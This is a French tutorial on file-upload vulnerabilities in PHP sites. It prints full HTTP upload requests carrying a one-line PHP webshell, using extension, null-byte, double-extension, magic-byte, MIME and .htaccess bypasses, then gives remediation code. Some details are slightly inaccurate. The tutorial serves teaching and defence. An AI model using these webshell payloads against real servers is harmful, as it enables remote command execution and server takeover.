Les failles d'upload : comprendre, exploiter et corriger
Quâest ce quâune faille upload ?
Les failles dâupload sont une vulnĂ©rabilitĂ© courante sur les sites web qui permettent aux utilisateurs de tĂ©lĂ©charger des fichiers. Les attaquants peuvent exploiter cette vulnĂ©rabilitĂ© en tĂ©lĂ©chargeant des fichiers malveillants sur le serveur, ce qui peut entraĂźner des compromissions de sĂ©curitĂ©. Dans cet article, nous allons expliquer comment fonctionnent les failles dâupload, comment les attaquants peuvent les exploiter et comment les corriger.
Comment fonctionnent les failles dâupload
Les failles dâupload se produisent lorsquâun site web ne valide pas correctement les fichiers tĂ©lĂ©chargĂ©s par les utilisateurs. Les attaquants peuvent profiter de cette vulnĂ©rabilitĂ© en tĂ©lĂ©chargeant des fichiers malveillants sur le serveur, tels que des webshells, qui permettent aux attaquants de prendre le contrĂŽle du serveur.
Il existe plusieurs techniques utilisĂ©es pour exploiter les failles dâupload, notamment :
- Le contournement de lâextension de fichier : les attaquants peuvent renommer un fichier malveillant avec une extension de fichier autorisĂ©e pour contourner les restrictions de tĂ©lĂ©chargement basĂ©es sur lâextension de fichier.
- Lâutilisation du caractĂšre null byte : cette technique est spĂ©cifique Ă PHP 5 et infĂ©rieur. Les attaquants peuvent ajouter un caractĂšre null Ă la fin dâun nom de fichier pour masquer la vĂ©ritable extension de fichier.
- Lâutilisation de doubles extensions : les attaquants peuvent ajouter des extensions de fichier supplĂ©mentaires Ă un fichier malveillant pour contourner les restrictions de tĂ©lĂ©chargement basĂ©es sur lâextension de fichier.
- La manipulation du type MIME : les attaquants peuvent modifier les informations de type MIME dâun fichier pour tromper le serveur et permettre le tĂ©lĂ©chargement de fichiers malveillants.
- Lâutilisation du fichier
.htaccess
: les attaquants peuvent utiliser un fichier.htaccess
pour contourner les restrictions de tĂ©lĂ©chargement en ajoutant des directives pour autoriser le tĂ©lĂ©chargement de fichiers malveillants. - Le contournement du magic byte : les attaquants peuvent modifier le magic byte dâun fichier malveillant afin de tromper les programmes de lecture de fichiers et de les exĂ©cuter de maniĂšre inattendue.
Exploitation de failles dâupload
Pour exploiter une faille dâupload, un attaquant doit tĂ©lĂ©charger un fichier malveillant sur le serveur. Voici des exemples de requĂȘtes HTTP qui peuvent ĂȘtre utilisĂ©es pour tĂ©lĂ©charger un fichier malveillant sur le serveur en exploitant diffĂ©rentes failles dâupload :
Contournement de lâextension de fichier
RequĂȘte HTTP pour contourner les restrictions de tĂ©lĂ©chargement basĂ©es sur lâextension de fichier :
POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 220
Content-Type: multipart/form-data; boundary=---------------------------19662891931763351995939054936
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename="webshell.php.jpg"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
-----------------------------19662891931763351995939054936--
Dans cet exemple, le fichier malveillant est renommé avec une extension .jpg
pour contourner les restrictions de tĂ©lĂ©chargement basĂ©es sur lâextension de fichier.
Le contenu du fichier est un code webshell qui permet Ă lâattaquant de prendre le contrĂŽle du serveur via lâURL âhttp://example.com/uploads/webshell.php.jpg?cmd=whoamiâ.
Utilisation du caractĂšre null byte
RequĂȘte HTTP pour exploiter la vulnĂ©rabilitĂ© du caractĂšre null byte :
POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 220
Content-Type: multipart/form-data; boundary=---------------------------19662891931763351995939054936
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename="webshell.php%00.jpg"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
-----------------------------19662891931763351995939054936--
Dans cet exemple, le nom du fichier est webshell.php%00.jpg
, oĂč %00
reprĂ©sente le caractĂšre null. Ce caractĂšre est ajoutĂ© Ă la fin du nom de fichier pour masquer la vĂ©ritable extension de fichier et tromper le serveur. Le contenu du fichier est un code webshell qui permet Ă lâattaquant de prendre le contrĂŽle du serveur via lâURL http://example.com/uploads/webshell.php?cmd=whoami
.
Utilisation de doubles extensions
RequĂȘte HTTP pour exploiter la vulnĂ©rabilitĂ© des doubles extensions :
POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 220
Content-Type: multipart/form-data; boundary=---------------------------19662891931763351995939054936
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename="webshell.jpg.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
-----------------------------19662891931763351995939054936--
Dans cet exemple, le nom du fichier est webshell.jpg.php
, qui a deux extensions de fichier. Le contenu du fichier est un code webshell qui permet Ă lâattaquant de prendre le contrĂŽle du serveur via lâURL "http://example.com/uploads/webshell.jpg.php?cmd=whoami".
Exploitation de la vulnérabilité du Magic Byte :
Les octets magiques, Ă©galement connus sous le nom de Magic Byte, sont une sĂ©quence dâoctets situĂ©s au dĂ©but dâun fichier qui permettent de dĂ©terminer son type de fichier. Les contrĂŽles de sĂ©curitĂ© basĂ©s sur les octets magiques peuvent ĂȘtre contournĂ©s en modifiant les octets magiques pour quâils correspondent Ă un type de fichier autorisĂ©.
Voici un exemple de code PHP vulnérable :
$file = $_FILES['file']['tmp_name'];
$mime = file_mime_type($file);
if (strpos($mime, 'image') === false) {
die('File is not a supported image format.');
}
Pour exploiter cette vulnĂ©rabilitĂ©, un attaquant peut modifier les octets magiques dâun fichier malveillant pour quâils correspondent Ă un type de fichier autorisĂ©. Voici un exemple de requĂȘte HTTP pour exploiter la vulnĂ©rabilitĂ© du Magic Byte :
POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 220
Content-Type: multipart/form-data; boundary=---------------------------19662891931763351995939054936
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename="webshell.php"
Content-Type: image/jpeg
\xFF\xD8\xFF\xE0<?php system($_GET['cmd']); ?>
Dans cet exemple, le fichier malveillant a été renommé en webshell.php
pour tromper le serveur, et les octets magiques ont été remplacés par les octets magiques JPEG (FFD8FFE0
en brute) pour éviter la détection du serveur.
Pour corriger cette vulnĂ©rabilitĂ©, il est recommandĂ© dâutiliser les fonctions PHP spĂ©cifiques au type MIME pour valider le type de fichier. Par exemple, la fonction finfo_file() peut ĂȘtre utilisĂ©e pour rĂ©cupĂ©rer le type MIME rĂ©el du fichier. Voici un exemple de code PHP corrigĂ© :
$file = $_FILES['file']['tmp_name'];
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file);
if (!in_array($mime, array('image/jpeg', 'image/png', 'image/gif'))) {
die('File is not an allowed image type');
}
En utilisant cette mĂ©thode, le type MIME rĂ©el du fichier est vĂ©rifiĂ©, ce qui permet de dĂ©tecter les tentatives dâexploitation de la vulnĂ©rabilitĂ© du Magic Byte.
Manipulation du type MIME
RequĂȘte HTTP pour exploiter la vulnĂ©rabilitĂ© de la manipulation du type MIME :
POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 244
Content-Type: multipart/form-data; boundary=---------------------------19662891931763351995939054936
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename="webshell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="type"
image/jpeg
-----------------------------19662891931763351995939054936--
Dans cet exemple, le type MIME est défini sur image/jpeg
pour tromper le serveur. Le contenu du fichier est un code webshell qui permet Ă lâattaquant de prendre le contrĂŽle du serveur via lâURL âhttp://example.com/uploads/webshell.php?cmd=whoamiâ.
Utilisation du fichier .htaccess
RequĂȘte HTTP pour exploiter la vulnĂ©rabilitĂ© de lâutilisation du fichier .htaccess
POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 197
Content-Type: multipart/form-data; boundary=---------------------------19662891931763351995939054936
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: text/plain
<FilesMatch "webshell\.uwu$">
ForceType application/x-httpd-php
</FilesMatch>
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename="webshell.uwu"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
-----------------------------19662891931763351995939054936--
Dans cet exemple, un fichier .htaccess
est ajouté avec un code qui modifie le type MIME du fichier webshell.uwu
en application/x-httpd-php
. Cela permet dâexĂ©cuter le fichier webshell.uwu
comme un script PHP, mĂȘme sâil a une extension de fichier diffĂ©rente. Le contenu du fichier webshell.uwu
est le mĂȘme que les exemples prĂ©cĂ©dents, un code webshell qui permet Ă lâattaquant de prendre le contrĂŽle du serveur via lâURL "http://example.com/uploads/webshell.php?cmd=whoami".
Comment éviter ou minimiser les risques
Il existe plusieurs moyens de prĂ©venir ou de minimiser les risques de vulnĂ©rabilitĂ©s dâupload :
Limiter les types de fichiers acceptés
Une des mesures de sĂ©curitĂ© les plus simples Ă prendre est de limiter les types de fichiers acceptĂ©s par lâapplication Ă des formats sĂ»rs et connus. Cela peut ĂȘtre fait en vĂ©rifiant lâextension de fichier ou le type MIME du fichier uploadĂ©.
VĂ©rification de lâextension de fichier
La vĂ©rification de lâextension de fichier est une mesure de sĂ©curitĂ© courante pour restreindre les types de fichiers tĂ©lĂ©chargĂ©s. Cependant, cette mĂ©thode est facilement contournable en renommant le fichier uploadĂ© avec une extension diffĂ©rente. Par consĂ©quent, il est recommandĂ© de vĂ©rifier le type MIME du fichier uploadĂ© en plus de lâextension de fichier.
Vérification du type MIME
La vĂ©rification du type MIME est une mĂ©thode plus fiable pour vĂ©rifier le type de fichier uploadĂ©. Cela peut ĂȘtre fait en utilisant la fonction PHP finfo_file()
pour récupérer le type MIME du fichier uploadé.
VĂ©rification des droits dâaccĂšs
Les droits dâaccĂšs au dossier dâupload doivent ĂȘtre correctement configurĂ©s pour Ă©viter les tĂ©lĂ©chargements malveillants. Les dossiers dâupload ne doivent pas ĂȘtre accessibles en Ă©criture par tous les utilisateurs.
Renommer le fichier uploadé
Pour Ă©viter la manipulation de lâextension de fichier, il est recommandĂ© de renommer le fichier uploadĂ© en utilisant un nom de fichier unique. Cela peut ĂȘtre fait en utilisant la fonction PHP uniqid()
pour générer un nom de fichier unique.
Restreindre les permissions dâexĂ©cution
Il est recommandĂ© de restreindre les permissions dâexĂ©cution sur les fichiers uploadĂ©s pour empĂȘcher lâexĂ©cution de scripts malveillants. Cela peut ĂȘtre fait en supprimant les permissions dâexĂ©cution pour les fichiers uploadĂ©s
Voici un exemple de code corrigé qui implémente les mesures de sécurité mentionnées précédemment :
<?php
/* Vérification des droits d'accÚs au dossier d'upload */
$upload_dir = '/path/to/upload/dir';
if (!is_writable($upload_dir)) {
die('Erreur : Le dossier d\'upload n\'est pas accessible en écriture');
}
/* Vérification du type MIME du fichier uploadé */
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
$allowed_mime_types = array('image/jpeg', 'image/png', 'image/gif');
if (!in_array($mime_type, $allowed_mime_types)) {
die('Erreur : Type de fichier non autorisé');
}
/* Renommage du fichier uploadé avec un nom unique */
$file_name = uniqid() . '_' . $_FILES['file']['name'];
$upload_file = $upload_dir . '/' . $file_name;
/* Vérification de l'extension de fichier (en option) */
$allowed_extensions = array('jpg', 'jpeg', 'png', 'gif');
$file_extension = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (!in_array($file_extension, $allowed_extensions)) {
die('Erreur : Extension de fichier non autorisée');
}
/* Vérification de la taille du fichier uploadé (en option) */
$max_file_size = 5 * 1024 * 1024; // 5 Mo
if ($_FILES['file']['size'] > $max_file_size) {
die('Erreur : La taille du fichier dépasse la limite autorisée');
}
/* Déplacement du fichier uploadé vers le dossier d'upload */
if (move_uploaded_file($_FILES['file']['tmp_name'], $upload_file)) {
echo 'Le fichier a été téléchargé avec succÚs';
} else {
echo 'Erreur : Le téléchargement a échoué';
}
Ce code effectue une sĂ©rie de vĂ©rifications pour minimiser les risques de vulnĂ©rabilitĂ©s dâupload. Il vĂ©rifie les droits dâaccĂšs au dossier dâupload, le type MIME du fichier uploadĂ©, renomme le fichier uploadĂ© avec un nom unique, vĂ©rifie lâextension de fichier (en option) et la taille du fichier uploadĂ© (en option), et enfin dĂ©place le fichier uploadĂ© vers le dossier dâupload si toutes les vĂ©rifications sont passĂ©es.
â ïž Il est important de souligner que la sĂ©curitĂ© informatique nâest jamais absolue. Bien que les mesures de sĂ©curitĂ© mentionnĂ©es prĂ©cĂ©demment peuvent rĂ©duire les risques de vulnĂ©rabilitĂ©s dâupload, il est toujours possible que des vulnĂ©rabilitĂ©s propres Ă la technologie utilisĂ©e soient dĂ©couvertes Ă lâavenir.
Il est donc recommandĂ© de prendre les mesures de sĂ©curitĂ© avec des pincettes et de rester Ă lâaffĂ»t des nouvelles vulnĂ©rabilitĂ©s et des correctifs de sĂ©curitĂ©. De plus, il est vivement conseillĂ© de maintenir les systĂšmes et les applications Ă jour avec les derniĂšres mises Ă jour de sĂ©curitĂ© pour rĂ©duire les risques de vulnĂ©rabilitĂ©s connues.